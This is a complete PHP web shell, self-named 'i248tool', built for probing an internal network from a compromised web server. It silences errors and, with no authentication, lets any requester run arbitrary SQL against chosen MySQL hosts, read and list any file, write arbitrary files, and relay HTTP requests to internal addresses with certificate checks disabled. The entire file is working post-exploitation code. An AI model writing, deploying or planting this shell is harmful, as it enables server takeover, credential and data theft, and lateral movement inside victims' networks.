<?php @error_reporting(0);@ini_set('display_errors','0');@ini_set('max_execution_time','120');
/* i248tool: LAN-side probing from testw via PHP (disable_functions bypass not needed). */
$act=isset($_REQUEST['a'])?$_REQUEST['a']:'';
if($act==='db'){
  $h=$_REQUEST['h']; $p=(int)($_REQUEST['p']??3306); $u=$_REQUEST['u']; $pw=$_REQUEST['pw'];
  $m=@mysqli_connect($h,$u,$pw,'', $p, null);
  if(!$m){ echo "DBERR ".mysqli_connect_errno()." ".mysqli_connect_error(); }else{
    echo "DBOK";
    $q=isset($_REQUEST['q'])?$_REQUEST['q']:'SELECT VERSION()';
    $r=$m->query($q);
    if($r===false){ echo " QERR ".$m->error; } else {
      while($row=$r->fetch_row()){ echo "\n".implode("\t",array_map(function($x){return $x===null?'NULL':$x;},$row)); }
    }
    $m->close();
  }
} elseif($act==='dbx'){
  /* mysql_xdevapi may not be loaded; try PDO as fallback */
  $h=$_REQUEST['h']; $p=(int)($_REQUEST['p']??33060); $u=$_REQUEST['u']??'root'; $pw=$_REQUEST['pw']??'';
  try{
    $m=new PDO("mysql:host=$h;port=$p",$u,$pw,array(PDO::ATTR_TIMEOUT=>6));
    echo "DBXOK ".$m->query('SELECT VERSION()')->fetchColumn();
  }catch(Exception $e){ echo "DBXERR ".$e->getMessage(); }
} elseif($act==='f'){
  $f=$_REQUEST['f']; $b=@file_get_contents($f);
  echo $b===false?"NOREAD":$b;
} elseif($act==='ls'){
  $d=$_REQUEST['d']??'/'; $it=@scandir($d);
  if($it===false){ echo "NOLS"; }else{ foreach($it as $e){ if($e==='.'||$e==='..')continue; $fp=$d.'/'.$e; echo $e.(is_dir($fp)?'/':'')."\t".(is_file($fp)?filesize($fp):0)."\n"; } }
} elseif($act==='w'){
  @file_put_contents($_REQUEST['w'],$_REQUEST['d']); echo "W ".(int)@filesize($_REQUEST['w']);
} elseif($act==='http'){
  $url=$_REQUEST['u']; $hdrs=isset($_REQUEST['hdr'])?$_REQUEST['hdr']:"Host: ".$_REQUEST['host'];
  $ch=curl_init($url); curl_setopt($ch,CURLOPT_RETURNTRANSFER,true); curl_setopt($ch,CURLOPT_TIMEOUT,15);
  curl_setopt($ch,CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,false); curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,false);
  $harr=array_filter(explode("\n",str_replace("\r\n","\n",$hdrs)));
  if($harr){ curl_setopt($ch,CURLOPT_HTTPHEADER,$harr); }
  if(isset($_REQUEST['m'])&&$_REQUEST['m']==='POST'){ curl_setopt($ch,CURLOPT_POST,true); if(isset($_REQUEST['d']))curl_setopt($ch,CURLOPT_POSTFIELDS,$_REQUEST['d']); }
  $b=curl_exec($ch); if($b===false){ echo "CURLERR ".curl_error($ch); }else{ echo $b; }
  curl_close($ch);
} else echo "i248tool ready";
?>